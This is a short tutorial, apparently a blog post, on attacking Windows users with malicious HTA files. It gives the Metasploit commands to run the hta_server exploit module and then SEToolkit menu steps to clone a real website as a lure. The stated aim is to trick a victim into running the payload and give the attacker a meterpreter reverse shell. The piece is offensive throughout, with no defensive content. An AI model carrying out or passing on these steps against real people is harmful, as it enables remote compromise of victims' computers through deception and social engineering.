Exploitation with HTA Attack

What are HTA Files?

HTA files are a type of application that runs on the Windows operating system. They are similar to web pages, as they are written in HTML and can include scripting languages like VBScript or JScript. However, unlike regular web pages, HTA files have elevated privileges and can interact with the operating system directly.

So lets get into the real action with the HTA attack.

We will use metasploit for this as it was the easiest to setup for this attacl.

- Launch Metasploit Console

```
msfconsole
```

- We will use HTA server module for this attack.

```
use exploit/windows/misc/hta_server
```

- Lets setup the options it required

```
set LHOST 192.168.29.82
```

- Hit Exploit.

```
exploit
```

- Send the generated URL to the victim and once the victim clicks on the URL, the HTA will prompt for a download.
- Once it is executed, we will get a meterpreter shell session at our listener.

To make it more believable, lets perform this attack in conjuction of Social Engineering Toolkit or SEToolkit.

- Launch SEToolkit

```
sudo setoolkit
```

- Next we will choose option

```
1. Social-Engineering Attacks

2. Website Attack Vectors

7. HTA Attack Method

2. Site Cloner
```

- Enter website to clone, we will use cobalt strike website
- Enter IP address and Port
- Now once the victim visit our website, it will get our free Cobalt Strike HTA. Once we hit run, we will get a meterpreter shell at our listener.
